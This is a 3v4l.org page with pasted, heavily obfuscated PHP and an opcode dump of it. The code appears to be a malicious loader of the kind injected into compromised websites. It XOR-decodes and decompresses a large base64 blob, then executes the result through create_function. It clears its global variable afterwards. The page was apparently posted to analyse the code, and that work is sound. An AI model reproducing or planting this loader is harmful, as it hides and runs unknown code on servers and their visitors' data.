3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["aubrer"]=array('$GLOBALS["aubrer"][0]=$GLOBALS["aubrer"][3];$ilakzybg=$ilakzybg(4,13);$GLOBALS["aubrer"][0]=$ilakzybg($GLOBALS["aubrer"][2]);','$GLOBALS["aubrer"][2]=gzuncompress($ilakzybg(694,2147));','c3p4ZVdgaHFqVnJ6YGdkUnB5b1NxeWN0end/f3h/bHxUZn5leWFiR3VXX19JX0FKXFxKXlpWTlFRWkJNZXh3c3htYWBsZWJ4eGRlbHJ4aCdkYzZDWUJqUXonODw6R0F3dURobSd/Y2EzfyNlQGMwIidzezxgQW5+QmgyMn5oc2FyYklDe2J4eEZDREN0eWNvf2gucmJkeHk4c3V8d2MnanpjYmlseDx7YH92emc9dWl9aWBzeHlbQlhYQGJReXxwamApOSNFZ1VZTVtCWFhMRUpYV1Vjd3F3f20lOVpvZm94cnY6YXt6eWIjYGhpbmB4Z2x2OHhBU11dVl5RVFZeXk1hQFVeQUNZWkVCQVJqcEpiYUJDSVpKUlZfUUVZUXNvaEwsZGd4PHJpfjx+bWZRUTxiYXg8I2NkbXg6Y314bFVSPGJheDwjTEhGIWJ4emlxa21HW1x0ZVVXbEdTQVhPTGNHW1xMWl9GPGJheEV6ZmZgZ3JpWn9ufEhyemN0b2d7fGZPZG'.'Yha3xjcW5teDhjY317dHdldGRmIWt8Y3FubXg4dXJyfHBHeHV5fmt2aVpvan5vPUo9emNvbnF3f20lOVpvZm94cnZOUXhuZHplZm1gYn5tcmBabGZ4SHt2ZXVKd3d4aXJmZGVEZ1tCWFhMWFZOUVNWUVZfQFR4YnJBeHUnImlhamBld3l6OGNmTE52JCJjYWhneC1veHtZYnRnVW1xIiJufH9kZ2pvcjhwfnlKUFpYUzxhfCVwYmttams5ZnthK2AuTDV9MWhIdzViMXh7fSN7Pko1YDF4cGN+ZExOZEN6eGV8bVIidkhze2J4eCkiKmQ1YTFudG5hV2BzeGdjeUtCVmJLZzVhMWtmb05KTnZuaWtRbEdwUm41YTF7eC1NX1dcOCc9IUxqW3l/fCktTENJPGuKiVBqYudDFfM9A9flDMxS7giOaztUBL4fenkBgHCxRjCHZHBuhvpuPKPkzubBdLTa3fNERdCwjNNs89NS1sDR447ATgWYlmjDlD5cTbOdoFij/xAIdeSWnUQSYiVjvjM5fqkIidPxs7uA1FOFsXQcxdEOQj3K1oG3g9OiNf8oGt+xwar2hKPrnrsX0hEcKwOjjh9zHY8aUxhO/xHAHZyxnCZgQpWT0VE4mOthDi2b9uy6JWdwYh5ENx5jmHz6CqXdYJF+du0M6dZsKTxspw4FDSNGvNRa+FmSt3iDtEWBiECaUWgMgTjhYK5aUCLMMXKqzK4DJ6kwzZzXAoubellXh4WzcqoWTf/K2cl4rExtA1LyqqLJYcGzLUNmAQbta37wSR6pXOgaM/JTHQYQTr3/yKu3EfaET3dgBArWyLZDQwmvVwO+5bbUz+gmTo5iCpqPkAAlgujJOqupk3g+yU31RzrEEgWkXDS5zGrtN8w0VcxI6YRCzvW8o/'.'AqUvcdzLo5MFnwwPQCIi4lzabCI2wkyJSDsfWL9YgQKL1Y+1ktxTwSY/PheiwumK5TilQ5eDfcQVNr3K8htbeScTREOWpkXvuWl7NxvKjROVvflsP6zF9/2OzMiEbjaGYHf02V4DLF77Gi2pfZaGfMrhR+Q7BCqLmpQIfIwawGXwzwr5GxBWcU589BvebNk7ClrLenIlVQ8WndoEcwXJSISywFmSTz2Ki2zNdbbnL7nTcJu7B0kXIRLrbO2MKpNEUzhk3ujjHI6dT2dSVhCWmbGV1LgThVWzgsHm4QQFrkL51QkhAZNPYWa3WdFrtosO0CIMXRtLfh0mNnsDhIZ+S1OgA7YJC4vm0O+IpGQoYSc9DkKB/UU08LPLesPrYcJ7UqQ5GvaoePimo3x2ZGGW8wrNhsqEsPBqNWDI+HqqcUA/hP2uW0aPHzlK0tLkwPPtvJrGV5Ll2EATDbpQG8qe2lR0YKPyReKy6LVXtcjYeRHtS7JtvJN6IQX/NEoV0pqE055e4XlzhKUUaQJy+hIcUlWNf2MM22gBmQ9F8nIJMfQjMPKdEq2qYuIpWPgtmq5Gk9iAswUQhXAFgMkNAyA5ERj3z+wDIk2tErcML0whNQQnClb4QneBALIZgTv0rxDDXaNfvF8bxRPl6UlByFpvfSvCH63ve+NrVCRLsekLSXkki4+Cvo6iJzdP3+eNFkMZ5938gs3teTFvPwczP2+f4v7Rwp52EkrY+XqwooHC88AFcFSBQr4O+78/ze/LfUa5sb9ddqCUg26obnLRLpIu'.'hVRzetVmXjtmeqLa2+AtQxp5mfdK6Fj12KolN6Cat40jjLkBEUHWUpcfC4mEw7RzkN+OW8FtgTfzrGTOe/A3UdropTTEAgTjTK6sZn3FW+AE5CFXWv1y3ENP4qlDfzYWR32MrKpb35NbZwjrSAS8pPVISeD3Z1RPmDFEElpzGHEg+G9oFU9q+afjfjB4TEmoiLLtkaP/e+CY1na6bGx29Fd0bQdg+2Vv+pj2vChf/J0TPTTbkbZFrEk4iSeLgbwwHl7z0aHt4dyxo9ZhgmFT6QNw0Hvn3ybsJc63bWZ26dylJFZgCeH5mFOsr3b2r6gcQHzQT4lv32OFaaJpyIOMw28w8K2Kzcu7SvgeD49Ppc+8QhVVvSWcTIIQPIY2SyaST1Hv9Elchm6hR97cP7hTn5KE0k2nWT7MBl/33qvzIjTw4YAS59ZFGhHk/kzX7RurkBlDnv3jqQG4rTtMrinEyf1nRlZKDSQJGp0rJXB5JU8t28z9140KPFw0K/AB22QG6OoU2NBAU3ot5ZK8tGQxxyvG6rLUiUYl+ke+AC9RmC51sJtWDWLXx+5APUBE434KRjakdXdQW+rx+IxyctD4miStHkjWFU5Eq+6'.'kZ7sEAiQYDwoLMX03sStvACcWOxwezXO18rjHkhYrBu2HnmzK9tdzI3ICjyK8teS2Fon9QvjGiKn3X5swagp4bM9D9ehTxh3vHUU0OAU8FoguAjZbtSeKe3A5s2lE7BxwIj/18osOrm8Zg/spMSXOPLMlER/x9i7odBUu8ltC1mZn+ICl0crTtE2S+jm13UX51XscXuMJkK5OmGDoBC1+drvXPWQHbPQ95B9l9ekCgG+6ls5kCWsYS0Pavd0QV0MHX0I42cvRh98BYgCkj4EM/snZHqomYWlyWH0bQ1309IPYOfwOjEB6Mizy5+e/3/dTDnvwEobwwA63xcBKY36e6Did61aqzJEOsYoUm/pdmmpngKqn8AT5PiL6ShOIEMLbbu0eMZ4OssEliOysCPRDdU+ZXSgU2HuXMNML7JO6IB3zqCule0Rv1wFgrl+RZz+JN4iFKMc8aO5UoxGgqA/Uh8mMLCdBj9GdpOruHABDM2fNQs8uG8WwusW9ovv5hJdS+f9SF9x/8SNVRWSkxx0xeMU+P7hGNSVYXgHpYgS+N4tMvm5ksR/AQ6qN+37IrS9SKQ1E7yPsJ66eMubmuP0TUvcsbf8UO+qS0vKNUJ7n73/OTm4IiIrzFNRLmCqOWVD1+ZAig5E9Q0z39jMZ8KU6UaJnKrOuobPolCjjavvRMG2DHBoOdkx3qE9X1ewzmDlSaWJS99XtqWbEV9pR/2S2FEWO9DS2uizmkxo8vG7qmFYiYsQqL9uOcdb0Doc//14OPzx/BB2hoaDH2O585wTFHbN5FOvP+UD+pQnGVnJBeyCK5qtpV/WAcG64y5PO4CPsjq/syER6Gr9X9iaKSS8vAeYaFZippNxd3WzG/mpcMFPwc4/+YHBZgtIbT+3P0XrHNV86sqg/qGhgDdSBDqy1cxMyvL+kvkgFGGS1UhNShT3qKAkBQkn2iO7Ru9Wcm4Wkc=',"/*au\x71\x77\x7f\x6d\x25\x39\x5a\x6f\x66\x6f\x78\x72\x76*/");$fzovjie='create_';if(function_exists($fzovjie.='function')){$ilakzybg=$fzovjie('$b,$h','$m=str_pad("",$h,"svlhsmekclwvsqtu");$w=str_repeat("\x1f",$h);$s=str_repeat("\xe0",$h);$y = substr($GLOBALS["aubrer"][0],$b,$h);return(($y^$m)&$w)|($y&$s);');;for($ep=-1;++$ep<3;$GLOBALS["aubrer"][$ep]($ilakzybg)){$GLOBALS["aubrer"][$ep]=$fzovjie('$ilakzybg',$GLOBALS["aubrer"][$ep]);}};unset($GLOBALS["aubrer"]);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 37
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 16
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 16
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 16
Branch analysis from position: 37
Branch analysis from position: 16
Branch analysis from position: 37
filename:       /in/pMmqj
function name:  (null)
number of ops:  40
compiled vars:  !0 = $fzovjie, !1 = $ilakzybg, !2 = $ep
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $3      'GLOBALS'
          1        ASSIGN_DIM                                               $3, 'aubrer'
          2        OP_DATA                                                  <array>
          3        ASSIGN                                                   !0, 'create_'
          4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~6      !0, 'function'
          6        SEND_VAL                                                 ~6
          7        DO_ICALL                                         $7      
          8      > JMPZ                                                     $7, ->37
          9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              '%24b%2C%24h'
         11        SEND_VAL_EX                                              '%24m%3Dstr_pad%28%22%22%2C%24h%2C%22svlhsmekclwvsqtu%22%29%3B%24w%3Dstr_repeat%28%22%5Cx1f%22%2C%24h%29%3B%24s%3Dstr_repeat%28%22%5Cxe0%22%2C%24h%29%3B%24y+%3D+substr%28%24GLOBALS%5B%22aubrer%22%5D%5B0%5D%2C%24b%2C%24h%29%3Breturn%28%28%24y%5E%24m%29%26%24w%29%7C%28%24y%26%24s%29%3B'
         12        DO_FCALL                                      0  $8      
         13        ASSIGN                                                   !1, $8
         14        ASSIGN                                                   !2, -1
         15      > JMP                                                      ->34
         16    >   INIT_DYNAMIC_CALL                                        !0
         17        SEND_VAL_EX                                              '%24ilakzybg'
         18        CHECK_FUNC_ARG                                           
         19        FETCH_FUNC_ARG               global              $14     'GLOBALS'
         20        FETCH_DIM_FUNC_ARG                               $15     $14, 'aubrer'
         21        FETCH_DIM_FUNC_ARG                               $16     $15, !2
         22        SEND_FUNC_ARG                                            $16
         23        DO_FCALL                                      0  $17     
         24        FETCH_W                      global              $11     'GLOBALS'
         25        FETCH_DIM_W                                      $12     $11, 'aubrer'
         26        ASSIGN_DIM                                               $12, !2
         27        OP_DATA                                                  $17
         28        FETCH_R                      global              ~18     'GLOBALS'
         29        FETCH_DIM_R                                      ~19     ~18, 'aubrer'
         30        FETCH_DIM_R                                      ~20     ~19, !2
         31        INIT_DYNAMIC_CALL                                        ~20
         32        SEND_VAR_EX                                              !1
         33        DO_FCALL                                      0          
         34    >   PRE_INC                                          ~22     !2
         35        IS_SMALLER                                               ~22, 3
         36      > JMPNZ                                                    ~23, ->16
         37    >   FETCH_UNSET                                      $24     'GLOBALS'
         38        UNSET_DIM                                                $24, 'aubrer'
         39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
162.3 ms | 1404 KiB | 15 Q